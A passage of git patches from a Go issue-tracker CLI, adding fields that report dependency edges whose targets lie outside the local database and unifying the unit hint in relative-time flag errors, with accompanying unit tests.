epic_closed_children: diff --git a/internal/types/types.go b/internal/types/types.go index eda2340c8..fcba02e45 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1263,6 +1263,38 @@ type IssueDetails struct { // Comments slice or a zero count: a true empty stays plain omission. CommentsOmitted *bool `json:"comments_omitted,omitempty"` + // UnresolvableDependencies / UnresolvableDependents count the edges + // DependencyCount / DependentCount include that the Dependencies / + // Dependents slices could not represent, because the issue on the far + // end has no row in this database: a cross-repo id or an `external:` + // reference, both of which live in the one dependency target column + // carrying no foreign key into issues (issueops.IsExternalDepTarget). + // The edge is real and correctly stored; only its far end is + // unreachable from here, so the enumeration drops it while the count + // keeps it. + // + // Without these, the count is a number with no referent (be-lpi): a + // caller reads `dependency_count: 1` beside `dependencies: null`, + // finds nothing in `bd dep list`, and concludes the count is phantom. + // It is not — `bd dep list ` shows the raw edge record. + // + // Set only when the slice was actually READ and came back short. A + // failed or skipped read leaves them unset, because "could not be + // represented" and "was never fetched" must not collapse into one + // signal — the same distinction CommentsOmitted draws above. + // UnresolvableDependents is therefore set only under + // DetailOptions.IncludeDependents, where the rows are collected. + // + // That gate is on this field only, and the two planes disagree because of + // it: `bd show` in text mode reads dependents unconditionally, so a human + // always sees the inbound notice, while a --json caller sees this field + // only with --include-dependents (itself --json only). Recorded rather + // than fixed — the per-field restriction above is the correct half, and + // suppressing the text notice to match would lose a disclosure that is + // already sound. + UnresolvableDependencies *int64 `json:"unresolvable_dependencies,omitempty"` + UnresolvableDependents *int64 `json:"unresolvable_dependents,omitempty"` + // Epic progress fields (populated only for issue_type=epic with children) EpicTotalChildren *int `json:"epic_total_children,omitempty"` EpicClosedChildren *int `json:"epic_closed_children,omitempty"` diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index 9372bab7c..162b4258d 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -43,6 +43,7 @@ go_test( "count_test.go", "delete_test.go", "detail_test.go", + "detail_unresolvable_test.go", "list_comments_test.go", "list_ephemeral_test.go", "list_golden_test.go", diff --git a/internal/workapi/detail.go b/internal/workapi/detail.go index 648911fb9..4eb05192c 100644 --- a/internal/workapi/detail.go +++ b/internal/workapi/detail.go @@ -117,16 +117,45 @@ func BuildIssueDetails(ctx context.Context, src DetailSource, issue *types.Issue details := types.NewIssueDetails(*issue) details.Labels, _ = src.Labels(ctx, id, isWisp) - details.Dependencies, _ = src.Dependencies(ctx, id, isWisp) // Aggregate counts - O(1) queries, no row materialization. - dependentCount, _ := src.CountDependents(ctx, id, isWisp) + // + // THE COUNTS ARE READ BEFORE THE ROW LISTS, and the order is load-bearing + // wherever the source is not snapshot-consistent. The UOW source runs the + // whole build inside one read transaction and is immune; the store-backed + // source issues a connection per call, so a concurrent write can land + // between the two reads and skew the delta below. Counting first puts that + // skew on the safe side: an edge ADDED in the window leaves the count + // stale-LOW, so the delta goes negative and is suppressed, where the + // reverse order would have announced a fresh local edge as unresolvable. + // A concurrent DELETE still produces a spurious report, which is the + // residual and is why this is an ordering mitigation rather than a fix — + // only a shared snapshot or a direct count of unresolvable edges closes + // it (be-lpi). + dependentCount, dependentCountErr := src.CountDependents(ctx, id, isWisp) details.DependentCount = &dependentCount - dependencyCount, _ := src.CountDependencies(ctx, id, isWisp) + dependencyCount, dependencyCountErr := src.CountDependencies(ctx, id, isWisp) details.DependencyCount = &dependencyCount commentCount, _ := src.CountComments(ctx, id, isWisp) details.CommentCount = &commentCount + // depsErr is kept rather than discarded: it is what separates "the edge + // list came back short" from "the edge list never came back", and the + // unresolvable-edge delta below is only meaningful in the first case. + deps, depsErr := src.Dependencies(ctx, id, isWisp) + details.Dependencies = deps + + // The count counts edge ROWS; the slice carries the issues on the far + // end, and drops any whose id has no row in this database. The two + // therefore disagree by exactly the cross-repo and `external:` edges, + // which is real stored data rather than a phantom count (be-lpi). + // Publish the difference instead of leaving the caller to infer it. + if depsErr == nil && dependencyCountErr == nil { + if n := dependencyCount - int64(len(details.Dependencies)); n > 0 { + details.UnresolvableDependencies = &n + } + } + if opts.IncludeDependents { dependents, err := collectDependents(ctx, src, id, isWisp) if err != nil { @@ -134,6 +163,14 @@ func BuildIssueDetails(ctx context.Context, src DetailSource, issue *types.Issue } details.Dependents = dependents applyEpicProgress(details, dependents) + // Same asymmetry as the outgoing side, and only computable here: + // without IncludeDependents the slice is nil by design, so a delta + // against it would report the whole count as unresolvable. + if dependentCountErr == nil { + if n := dependentCount - int64(len(dependents)); n > 0 { + details.UnresolvableDependents = &n + } + } } if opts.IncludeComments { diff --git a/internal/workapi/detail_unresolvable_test.go b/internal/workapi/detail_unresolvable_test.go new file mode 100644 index 000000000..97c64d6f3 --- /dev/null +++ b/internal/workapi/detail_unresolvable_test.go @@ -0,0 +1,293 @@ +package workapi + +import ( + "context" + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// skewSource is a DetailSource whose COUNTS and ROWS are set independently. +// +// The shared fakeStoreReader derives both from one slice, so it can only ever +// produce a store where they agree — which is exactly the state this test has +// to move away from. A real backend derives them from two different queries: +// the counts are a plain COUNT(*) over the dependency tables, while the rows +// are the issues on the far end and silently omit any id with no row in this +// database (issueops.GetDependenciesWithMetadataInTx's `continue`). A +// cross-repo or `external:` target hits that gap by construction, since +// depends_on_external is the one target column carrying no foreign key into +// issues. +type skewSource struct { + issue *types.Issue + + deps []*types.IssueWithDependencyMetadata + depsErr error + + dependents []*types.IssueWithDependencyMetadata + + depCount int64 + depCountErr error + rdepCount int64 + rdepCountErr error +} + +func (s skewSource) GetIssue(_ context.Context, _ string) (*types.Issue, error) { return s.issue, nil } +func (s skewSource) GetWisp(_ context.Context, id string) (*types.Issue, error) { + return nil, notFound(id) +} +func (s skewSource) Labels(_ context.Context, _ string, _ bool) ([]string, error) { return nil, nil } +func (s skewSource) Dependencies(_ context.Context, _ string, _ bool) ([]*types.IssueWithDependencyMetadata, error) { + return s.deps, s.depsErr +} +func (s skewSource) CountDependencies(_ context.Context, _ string, _ bool) (int64, error) { + return s.depCount, s.depCountErr +} +func (s skewSource) CountDependents(_ context.Context, _ string, _ bool) (int64, error) { + return s.rdepCount, s.rdepCountErr +} +func (s skewSource) CountComments(_ context.Context, _ string, _ bool) (int64, error) { + return 0, nil +} +func (s skewSource) IterDependents(_ context.Context, _ string, _ bool) (storage.Iter[types.IssueWithDependencyMetadata], error) { + return storage.NewSliceIter(s.dependents), nil +} +func (s skewSource) IterComments(_ context.Context, _ string, _ bool) (storage.Iter[types.Comment], error) { + return storage.NewSliceIter[types.Comment](nil), nil +} + +func depRow(id string, t types.DependencyType) *types.IssueWithDependencyMetadata { + return &types.IssueWithDependencyMetadata{Issue: types.Issue{ID: id}, DependencyType: t} +} + +// TestBuildIssueDetails_UnresolvableDependencies pins be-lpi: a dependency +// edge whose target has no row in this database counts toward +// dependency_count and cannot appear in the dependencies slice, and that +// difference must be published rather than left for the caller to infer. +// +// The convoy case that produced the report is the one-edge, zero-row row: +// hq-cv-ftcra carries a single `tracks` edge to +// external:liveop:liveop-kmf, so bd show --json answered +// dependency_count 1 beside dependencies:null and every enumeration path +// agreed the edge did not exist. +func TestBuildIssueDetails_UnresolvableDependencies(t *testing.T) { + ctx := context.Background() + issue := &types.Issue{ID: "rp-1"} + + tests := []struct { + name string + src skewSource + want *int64 + count int64 + }{ + { + name: "all edges unresolvable", + src: skewSource{issue: issue, deps: nil, depCount: 1}, + want: ptr64(1), + count: 1, + }, + { + name: "one of two edges unresolvable", + src: skewSource{ + issue: issue, + deps: []*types.IssueWithDependencyMetadata{depRow("rp-2", types.DepBlocks)}, + depCount: 2, + }, + want: ptr64(1), + count: 2, + }, + { + // The negative control. A fully local store must be + // byte-identical to before the fix, or every caller that + // checks the field starts seeing it on healthy rows. + name: "fully local, nothing unresolvable", + src: skewSource{ + issue: issue, + deps: []*types.IssueWithDependencyMetadata{depRow("rp-2", types.DepBlocks)}, + depCount: 1, + }, + want: nil, + count: 1, + }, + { + name: "no dependencies at all", + src: skewSource{issue: issue, depCount: 0}, + want: nil, + count: 0, + }, + { + // A FAILED read and a SHORT read both leave the slice + // empty. Only the first must stay silent: reporting it + // would announce a data property on the strength of a + // query that never ran. + name: "dependency read failed, not merely short", + src: skewSource{issue: issue, depsErr: errors.New("backend down"), depCount: 3}, + want: nil, + count: 3, + }, + { + // Symmetric: a failed COUNT yields 0, and 0 minus a + // populated slice is negative, but say so explicitly + // rather than relying on the sign. + name: "count read failed", + src: skewSource{ + issue: issue, + deps: []*types.IssueWithDependencyMetadata{depRow("rp-2", types.DepBlocks)}, + depCountErr: errors.New("backend down"), + }, + want: nil, + count: 0, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + details, err := BuildIssueDetails(ctx, tc.src, issue, false, DetailOptions{}) + if err != nil { + t.Fatalf("BuildIssueDetails: %v", err) + } + if details.DependencyCount == nil || *details.DependencyCount != tc.count { + t.Errorf("DependencyCount = %v, want %d", details.DependencyCount, tc.count) + } + switch { + case tc.want == nil && details.UnresolvableDependencies != nil: + t.Errorf("UnresolvableDependencies = %d, want unset", *details.UnresolvableDependencies) + case tc.want != nil && details.UnresolvableDependencies == nil: + t.Errorf("UnresolvableDependencies unset, want %d", *tc.want) + case tc.want != nil && *details.UnresolvableDependencies != *tc.want: + t.Errorf("UnresolvableDependencies = %d, want %d", *details.UnresolvableDependencies, *tc.want) + } + }) + } +} + +// TestBuildIssueDetails_UnresolvableDependents pins the inbound half, and in +// particular that it stays silent in count-only mode. Dependents is nil by +// design without IncludeDependents (be-ijck6q), so a delta taken against it +// there would report every dependent an issue has as unresolvable. +func TestBuildIssueDetails_UnresolvableDependents(t *testing.T) { + ctx := context.Background() + issue := &types.Issue{ID: "rp-1"} + src := skewSource{issue: issue, dependents: nil, rdepCount: 2} + + countOnly, err := BuildIssueDetails(ctx, src, issue, false, DetailOptions{}) + if err != nil { + t.Fatalf("BuildIssueDetails count-only: %v", err) + } + if countOnly.UnresolvableDependents != nil { + t.Errorf("count-only UnresolvableDependents = %d, want unset — the rows were never fetched", + *countOnly.UnresolvableDependents) + } + + included, err := BuildIssueDetails(ctx, src, issue, false, DetailOptions{IncludeDependents: true}) + if err != nil { + t.Fatalf("BuildIssueDetails include-dependents: %v", err) + } + if included.UnresolvableDependents == nil || *included.UnresolvableDependents != 2 { + t.Errorf("UnresolvableDependents = %v, want 2", included.UnresolvableDependents) + } + + // Negative control on the same path: every dependent resolvable. + local := skewSource{ + issue: issue, + dependents: []*types.IssueWithDependencyMetadata{depRow("rp-2", types.DepBlocks)}, + rdepCount: 1, + } + got, err := BuildIssueDetails(ctx, local, issue, false, DetailOptions{IncludeDependents: true}) + if err != nil { + t.Fatalf("BuildIssueDetails local: %v", err) + } + if got.UnresolvableDependents != nil { + t.Errorf("UnresolvableDependents = %d on a fully local store, want unset", *got.UnresolvableDependents) + } +} + +// mutatingSource models a write landing BETWEEN the two reads +// BuildIssueDetails makes: whichever of Dependencies/CountDependencies runs +// first observes one edge, and whichever runs second observes two. +// +// This is what makes the ordering testable at all. A source returning fixed +// values cannot distinguish the two orders — the first version of this test +// used one, and reverting the fix under it still passed, which is a test that +// pins arithmetic while claiming to pin an order. +type mutatingSource struct { + issue *types.Issue + edges int + before int +} + +func (m *mutatingSource) observe() int { + if m.before == 0 { + m.before = 1 + return m.edges // the first reader sees the pre-write state + } + return m.edges + 1 // by the second read, an edge has been added +} + +func (m *mutatingSource) GetIssue(_ context.Context, _ string) (*types.Issue, error) { + return m.issue, nil +} +func (m *mutatingSource) GetWisp(_ context.Context, id string) (*types.Issue, error) { + return nil, notFound(id) +} +func (m *mutatingSource) Labels(_ context.Context, _ string, _ bool) ([]string, error) { + return nil, nil +} +func (m *mutatingSource) Dependencies(_ context.Context, _ string, _ bool) ([]*types.IssueWithDependencyMetadata, error) { + n := m.observe() + out := make([]*types.IssueWithDependencyMetadata, 0, n) + for i := 0; i < n; i++ { + out = append(out, depRow(fmt.Sprintf("rp-%d", i+2), types.DepBlocks)) + } + return out, nil +} +func (m *mutatingSource) CountDependencies(_ context.Context, _ string, _ bool) (int64, error) { + return int64(m.observe()), nil +} +func (m *mutatingSource) CountDependents(_ context.Context, _ string, _ bool) (int64, error) { + return 0, nil +} +func (m *mutatingSource) CountComments(_ context.Context, _ string, _ bool) (int64, error) { + return 0, nil +} +func (m *mutatingSource) IterDependents(_ context.Context, _ string, _ bool) (storage.Iter[types.IssueWithDependencyMetadata], error) { + return storage.NewSliceIter[types.IssueWithDependencyMetadata](nil), nil +} +func (m *mutatingSource) IterComments(_ context.Context, _ string, _ bool) (storage.Iter[types.Comment], error) { + return storage.NewSliceIter[types.Comment](nil), nil +} + +// TestBuildIssueDetails_ConcurrentAddIsNotReportedAsUnresolvable pins the +// ORDER of the two reads, which is the only defence the store-backed source +// has against a write landing between them. (The UOW source runs the whole +// build inside one read transaction and needs none.) +// +// The count is read FIRST, so an edge added in the window leaves it +// stale-LOW: the difference goes negative and nothing is reported. Read +// afterwards it would be stale-HIGH, and a freshly added, perfectly ordinary +// local edge would be published as unresolvable — a false claim about the +// data, which is the expensive direction. Found by a codex review of the +// first cut of this change. +// +// The source above mutates between calls, so swapping the two reads in +// BuildIssueDetails turns this red. That is the control; without it the case +// passes under either order. +func TestBuildIssueDetails_ConcurrentAddIsNotReportedAsUnresolvable(t *testing.T) { + ctx := context.Background() + issue := &types.Issue{ID: "rp-1"} + src := &mutatingSource{issue: issue, edges: 1} + + details, err := BuildIssueDetails(ctx, src, issue, false, DetailOptions{}) + if err != nil { + t.Fatalf("BuildIssueDetails: %v", err) + } + if details.UnresolvableDependencies != nil { + t.Errorf("UnresolvableDependencies = %d, want unset — a count read before a concurrent add is stale-low, not evidence of an unrenderable edge; are the two reads still in count-then-listing order?", + *details.UnresolvableDependencies) + } +} + +func ptr64(v int64) *int64 { return &v } From de8567eaaed20ed0a074e98d70907786020166b0 Mon Sep 17 00:00:00 2001 From: postoso Date: Thu, 1 Oct 2026 04:29:58 -0400 Subject: [PATCH 018/325] fix(cli): --until, --defer and --due rejections name the supported unit set (#5718) * fix(cli): --until rejection names the supported unit set bd defer --until "+3mo" failed with: invalid --until format "+3mo". Examples: +1h, tomorrow, next monday, 2025-01-15 The compact-duration parser accepts h, d, w, m and y, so "+3w" and "+3m" both work. The message jumped from a single hours example straight to absolute dates and never stated the unit set, so a caller who wanted three months had to find "+3m" by trying units one at a time. Months were already supported, spelled "+3m" (internal/timeparsing applyDuration case "m" is AddDate(0, amount, 0)). This is a message change only, parsing behavior is untouched. The regression test pins the message to the parser it describes: every unit the hint names must parse, and the real failure path must put the unit set on stderr rather than only the constant being well formed. * fix(cli): share the --until unit hint with --defer and --due bd defer --until was not the only door onto ParseRelativeTime. bd create --defer, bd update --defer and both --due flags still printed "Examples: +1h, tomorrow, next monday, 2025-01-15", which names one example per category and leaves a caller who typed +3mo guessing which units exist. Reuse deferUntilFormatHint at the eight remaining sites, covering the direct create and update paths and their proxied-input twins. Message only, the parser is untouched. A source guard pins the uniformity, because a site that re-inlines its own example list still passes every call-level test. The proxied-input paths also get a behavioural test that the unit set reaches the caller. * fix(cli): name min=minutes in the shared relative-time hint Adoption review iteration 1 found the shared hint under-reports the parser by exactly one unit. internal/timeparsing accepts `min|[hdwmy]` (parser.go:22) and its doc comment spells out `m = months (NOT minutes; use "min" for minutes)`, but deferUntilFormatHint named only h/d/w/m/y -- so all nine rejection messages told a caller that minutes are unsupported, defeating the premise the PR is built on. Measured at this head: +30min, -15min and 90min parse; +3mo and +30mins do not. The gap is rebase-introduced, not contributor error: min arrived on main in eb1689cb9d (GH#6609/#6629) after the contributor's merge base. Nothing could red on it, because the PR's own guard test hardcoded the same five-unit list in three places, so the constant and its enforcement drifted together. Add min=minutes to the constant and to all three lists, and show +30min beside +3m so the m-vs-min boundary the message exists to explain is visible in the message itself. Reverting min out of the constant alone reds TestDeferUntilFormatHintCoversCompactUnits, TestDeferUntilRejectionNamesUnitSet and all five TestGatherInputRejectionsNameUnitSet subtests, while TestRelativeTimeRejectionsShareTheHint stays green -- it pins that sites reference the constant, not what the constant says. Two non-gating items from the same review, taken because they are adjacent: - The four update sites use HandleErrorRespectJSON, whose --json branch writes to stdout inside a JSON error payload instead of to stderr. The existing subtests pin jsonOutput = false, so that branch carried the ~190-char hint untested. A new subtest flips jsonOutput and asserts the unit set in the decoded payload; decoding is required because json.Encoder HTML-escapes the angle brackets in "[+-]?". Making HandleErrorRespectJSON ignore jsonOutput reds only the new subtest and leaves the four stderr subtests green, which is what proves it is not a duplicate of them. - Four pins strings in tests/oracle-a/harness/scenarios/enumerated.json quoted the message text this PR replaces. pins is documentation the runner ignores (harness/PROVENANCE.md:13), so nothing was broken, only stale; refreshed in place. Their stale update.go line references are left byte-intact deliberately -- those line numbers are identical at the merge base and at HEAD, so that staleness is base-owned, not this PR's. Also records two edges the review raised on the PR's own mechanism: the sign is optional, so the notation is now [+-]? (measured), and the uniformity guard matches per line, which is now stated in its comment rather than left for the next reader to rediscover. Deliberately left out: the flag --help usage strings (create.go:955, defer.go:156, update.go:1002) still carry the old bare example lists. They feed the generated-and-pinned CLI reference, so aligning them owes the docs-regen check and belongs in a follow-up. deferUntilFormatHint has no help-string consumer today (censused: nine rejection sites and nothing else), so this commit owes no CLI-docs regen. Also carries the rebase gate's bazel repair, unchanged from this commit's previous revision: chore(bazel): enumerate defer_until_hint_test.go in cmd/bd go_test gazelle output for the PR's new untagged test file. cmd/bd/BUILD.bazel enumerates go_test srcs explicitly (667 files at the merge base) and the enumeration is exhaustive for untagged tests -- the only 4 unenumerated _test.go files on disk all carry build tags. Without this row the target builds green while running none of the PR's 4 new tests (-test.list: 0 of 4 unrepaired, 4 of 4 repaired), and bazel.yml's BUILD-sync step reds on the post-'make bazel-sync' git diff. The //internal/timeparsing deps row is gazelle canonicalization, not a compile fix: bd_test embeds bd_lib, whose deps already carry it. The new subtest adds no BUILD row: encoding/json is stdlib, and a re-run of make bazel-sync after these edits leaves the tree clean. --------- Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 2 + cmd/bd/create.go | 4 +- cmd/bd/create_input.go | 4 +- cmd/bd/defer.go | 9 +- cmd/bd/defer_until_hint_test.go | 224 ++++++++++++++++++ cmd/bd/update.go | 4 +- cmd/bd/update_input.go | 4 +- .../harness/scenarios/enumerated.json | 8 +- 8 files changed, 246 insertions(+), 13 deletions(-) create mode 100644 cmd/bd/defer_until_hint_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1e83278c7..89240c36a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -634,6 +634,7 @@ go_test( "db_proxy_child_test.go", "defer_embedded_test.go", "defer_proxied_integration_test.go", + "defer_until_hint_test.go", "defer_wake_embedded_test.go", "defer_wake_proxied_integration_test.go", "defer_wake_server_test.go", @@ -1266,6 +1267,7 @@ go_test( "//internal/telemetry", "//internal/testutil", "//internal/testutil/bazeltest", + "//internal/timeparsing", "//internal/tracker", "//internal/types", "//internal/ui", diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 8129cd5d2..e124bef67 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -233,7 +233,7 @@ var createCmd = &cobra.Command{ if dueStr != "" { t, err := timeparsing.ParseRelativeTime(dueStr, time.Now()) if err != nil { - return HandleError("invalid --due format %q. Examples: +6h, tomorrow, next monday, 2025-01-15", dueStr) + return HandleError("invalid --due format %q. %s", dueStr, deferUntilFormatHint) } dueAt = &t } @@ -243,7 +243,7 @@ var createCmd = &cobra.Command{ if deferStr != "" { t, err := timeparsing.ParseRelativeTime(deferStr, time.Now()) if err != nil { - return HandleError("invalid --defer format %q. Examples: +1h, tomorrow, next monday, 2025-01-15", deferStr) + return HandleError("invalid --defer format %q. %s", deferStr, deferUntilFormatHint) } // Warn if defer date is in the past (user probably meant future) if t.Before(time.Now()) && !silent && !debug.IsQuiet() { diff --git a/cmd/bd/create_input.go b/cmd/bd/create_input.go index 1181a1163..f763c0e18 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -252,7 +252,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { if dueStr, _ := cmd.Flags().GetString("due"); dueStr != "" { t, err := timeparsing.ParseRelativeTime(dueStr, time.Now()) if err != nil { - return in, HandleError("invalid --due format %q. Examples: +6h, tomorrow, next monday, 2025-01-15", dueStr) + return in, HandleError("invalid --due format %q. %s", dueStr, deferUntilFormatHint) } in.dueAt = &t } @@ -260,7 +260,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { if deferStr, _ := cmd.Flags().GetString("defer"); deferStr != "" { t, err := timeparsing.ParseRelativeTime(deferStr, time.Now()) if err != nil { - return in, HandleError("invalid --defer format %q. Examples: +1h, tomorrow, next monday, 2025-01-15", deferStr) + return in, HandleError("invalid --defer format %q. %s", deferStr, deferUntilFormatHint) } if t.Before(time.Now()) && !in.silent && !debug.IsQuiet() { fmt.Fprintf(os.Stderr, "%s Defer date %q is in the past. Issue will appear in bd ready immediately.\n", diff --git a/cmd/bd/defer.go b/cmd/bd/defer.go index e30798ff2..4158253bb 100644 --- a/cmd/bd/defer.go +++ b/cmd/bd/defer.go @@ -14,6 +14,13 @@ import ( "github.com/steveyegge/beads/internal/utils" ) +// deferUntilFormatHint restates the vocabulary of +// timeparsing.ParseCompactDuration for every flag that reaches it. The unit set +// and its order track that parser's doc comment, so a unit added there must be +// added here too -- TestDeferUntilFormatHintCoversCompactUnits only catches +// units this constant already names. +const deferUntilFormatHint = "Use a relative offset [+-]? with unit min=minutes, h=hours, d=days, w=weeks, m=months, y=years (+30min, +1h, +3m), natural language (tomorrow, next monday), or a date (2025-01-15)" + var deferCmd = &cobra.Command{ Use: "defer [id...]", Short: "Defer one or more issues for later", @@ -52,7 +59,7 @@ Examples: if untilStr != "" { t, err := timeparsing.ParseRelativeTime(untilStr, time.Now()) if err != nil { - return HandleError("invalid --until format %q. Examples: +1h, tomorrow, next monday, 2025-01-15", untilStr) + return HandleError("invalid --until format %q. %s", untilStr, deferUntilFormatHint) } if t.Before(time.Now()) && !jsonOutput { fmt.Fprintf(os.Stderr, "%s Defer date %q is in the past. Issue will appear in bd ready immediately.\n", diff --git a/cmd/bd/defer_until_hint_test.go b/cmd/bd/defer_until_hint_test.go new file mode 100644 index 000000000..5f3c7dab5 --- /dev/null +++ b/cmd/bd/defer_until_hint_test.go @@ -0,0 +1,224 @@ +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "regexp" + "strings" + "testing" + "time" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/timeparsing" +) + +// TestDeferUntilFormatHintCoversCompactUnits keeps the --until failure message +// and the parser it describes in step. "+3mo" is rejected while "+3m" is three +// months, so a message naming one example leaves the caller trying units one at +// a time to find the boundary. "min" is the sharpest case: "+3m" is months and +// "+30min" is minutes, which is why the parser's own doc comment spells out +// "m = months (NOT minutes; use \"min\" for minutes)". +func TestDeferUntilFormatHintCoversCompactUnits(t *testing.T) { + now := time.Date(2026, 1, 15, 12, 0, 0, 0, time.UTC) + + for _, unit := range []string{"min", "h", "d", "w", "m", "y"} { + value := "+3" + unit + if _, err := timeparsing.ParseRelativeTime(value, now); err != nil { + t.Errorf("parser rejected %q, which the --until hint names as supported: %v", value, err) + } + if !strings.Contains(deferUntilFormatHint, unit+"=") { + t.Errorf("--until hint does not name unit %q: %s", unit, deferUntilFormatHint) + } + } + + if _, err := timeparsing.ParseRelativeTime("+3mo", now); err == nil { + t.Fatal("expected +3mo to be rejected; the hint exists to send that caller to +3m") + } + if !strings.Contains(deferUntilFormatHint, "+3m") { + t.Errorf("--until hint should show the month form +3m: %s", deferUntilFormatHint) + } +} + +// TestDeferUntilRejectionNamesUnitSet exercises the real --until failure path +// and asserts the unit set reaches stderr, so dropping the hint from the error +// fails here rather than only degrading the message. +func TestDeferUntilRejectionNamesUnitSet(t *testing.T) { + if err := deferCmd.Flags().Set("until", "+3mo"); err != nil { + t.Fatalf("setting --until: %v", err) + } + t.Cleanup(func() { + if err := deferCmd.Flags().Set("until", ""); err != nil { + t.Fatalf("resetting --until: %v", err) + } + deferCmd.Flags().Lookup("until").Changed = false + }) + + var err error + output := captureStderr(t, func() { + err = deferCmd.RunE(deferCmd, []string{"t-1"}) + }) + + if err == nil { + t.Fatal("expected --until=+3mo to fail") + } + if !strings.Contains(output, `invalid --until format "+3mo"`) { + t.Fatalf("expected the rejected value in the error, got: %s", output) + } + for _, unit := range []string{"min=minutes", "h=hours", "d=days", "w=weeks", "m=months", "y=years"} { + if !strings.Contains(output, unit) { + t.Errorf("expected the error to name %q, got: %s", unit, output) + } + } +} + +// TestRelativeTimeRejectionsShareTheHint guards the half of this fix that no +// behavioural test can reach cheaply. --defer and --due land on the same +// parser as --until, through the direct create and update paths and through +// their proxied-input twins, so a caller who mistypes any of them deserves the +// same unit set. A site that re-inlines its own example list still passes every +// call-level test while sending that caller back on the hunt, which is why the +// uniformity is pinned at the source. Blunt line matching, in the style of +// TestCobraParallelPolicyGuard. +// +// The matching is deliberately per-line, which constrains how a site may be +// written: a compliant call wrapped so that the format string and +// deferUntilFormatHint land on different lines would be reported here. All nine +// sites today are single-line, so keep them that way rather than loosening the +// guard. +func TestRelativeTimeRejectionsShareTheHint(t *testing.T) { + sources, err := filepath.Glob("*.go") + if err != nil { + t.Fatalf("glob: %v", err) + } + + rejection := regexp.MustCompile(`invalid --(?:until|defer|due) format`) + found := 0 + + for _, file := range sources { + if strings.HasSuffix(file, "_test.go") { + continue + } + data, err := os.ReadFile(file) + if err != nil { + t.Fatalf("read %s: %v", file, err) + } + for i, line := range strings.Split(string(data), "\n") { + if !rejection.MatchString(line) { + continue + } + found++ + if !strings.Contains(line, "deferUntilFormatHint") { + t.Errorf("%s:%d rejects a relative-time flag without the shared hint: %s", + file, i+1, strings.TrimSpace(line)) + } + } + } + + if found == 0 { + t.Fatal("found no relative-time rejection sites; the guard is matching nothing") + } +} + +// TestGatherInputRejectionsNameUnitSet exercises the proxied-input paths for +// both flags that share the hint, so the unit set is proven to reach a real +// caller rather than only to be present in the constant. +func TestGatherInputRejectionsNameUnitSet(t *testing.T) { + prevJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = prevJSON }) + + units := []string{"min=minutes", "h=hours", "d=days", "w=weeks", "m=months", "y=years"} + + assertNamesUnits := func(t *testing.T, flag, output string) { + t.Helper() + if !strings.Contains(output, `invalid `+flag+` format "+3mo"`) { + t.Fatalf("expected the rejected %s value in the error, got: %s", flag, output) + } + for _, unit := range units { + if !strings.Contains(output, unit) { + t.Errorf("expected the %s error to name %q, got: %s", flag, unit, output) + } + } + } + + for _, flag := range []string{"--due", "--defer"} { + t.Run("create "+flag, func(t *testing.T) { + cmd := newCreateFlagsCommand(t, flag, "+3mo") + var err error + output := captureStderr(t, func() { + _, err = gatherCreateInput(cmd, []string{"title"}) + }) + if err == nil { + t.Fatalf("expected %s=+3mo to fail", flag) + } + assertNamesUnits(t, flag, output) + }) + + t.Run("update "+flag, func(t *testing.T) { + cmd := &cobra.Command{Use: "update"} + cmd.Flags().String("due", "", "Due date") + cmd.Flags().String("defer", "", "Defer until") + cmd.Flags().Bool("json", false, "JSON output") + if err := cmd.ParseFlags([]string{flag, "+3mo"}); err != nil { + t.Fatalf("parse update flags: %v", err) + } + var err error + output := captureStderr(t, func() { + _, err = gatherUpdateInput(t.Context(), cmd) + }) + if err == nil { + t.Fatalf("expected %s=+3mo to fail", flag) + } + assertNamesUnits(t, flag, output) + }) + } + + // The four update sites use HandleErrorRespectJSON, which under --json emits + // the message on STDOUT inside a JSON error payload instead of on stderr. The + // subtests above pin jsonOutput = false, so that branch -- the one machine + // consumers read -- would otherwise carry this ~190-char hint untested. + // Assert on the DECODED message, not the raw bytes: json.Encoder HTML-escapes + // the angle brackets in the hint's "[+-]?" notation, so a + // strings.Contains over stdout would fail on a perfectly correct payload. + t.Run("update --defer json", func(t *testing.T) { + jsonOutput = true + t.Cleanup(func() { jsonOutput = false }) + + cmd := &cobra.Command{Use: "update"} + cmd.Flags().String("due", "", "Due date") + cmd.Flags().String("defer", "", "Defer until") + cmd.Flags().Bool("json", false, "JSON output") + if err := cmd.ParseFlags([]string{"--defer", "+3mo"}); err != nil { + t.Fatalf("parse update flags: %v", err) + } + + var err error + output := captureStdout(t, func() error { + _, err = gatherUpdateInput(t.Context(), cmd) + return nil + }) + if err == nil { + t.Fatal("expected --defer=+3mo to fail") + } + + var payload struct { + Error string `json:"error"` + Data struct { + Error string `json:"error"` + } `json:"data"` + } + if jsonErr := json.Unmarshal([]byte(output), &payload); jsonErr != nil { + t.Fatalf("stdout was not a JSON error payload (%v), got: %s", jsonErr, output) + } + message := payload.Error + if message == "" { + // BD_JSON_ENVELOPE=1 nests the same fields under "data". + message = payload.Data.Error + } + if message == "" { + t.Fatalf("no error message in the JSON payload, got: %s", output) + } + assertNamesUnits(t, "--defer", message) + }) +} diff --git a/cmd/bd/update.go b/cmd/bd/update.go index cbd1db60b..8b1573d7e 100644 --- a/cmd/bd/update.go +++ b/cmd/bd/update.go @@ -285,7 +285,7 @@ pointless).`, } else { t, err := timeparsing.ParseRelativeTime(dueStr, time.Now()) if err != nil { - return HandleErrorRespectJSON("invalid --due format %q. Examples: +6h, tomorrow, next monday, 2025-01-15", dueStr) + return HandleErrorRespectJSON("invalid --due format %q. %s", dueStr, deferUntilFormatHint) } updates["due_at"] = t } @@ -302,7 +302,7 @@ 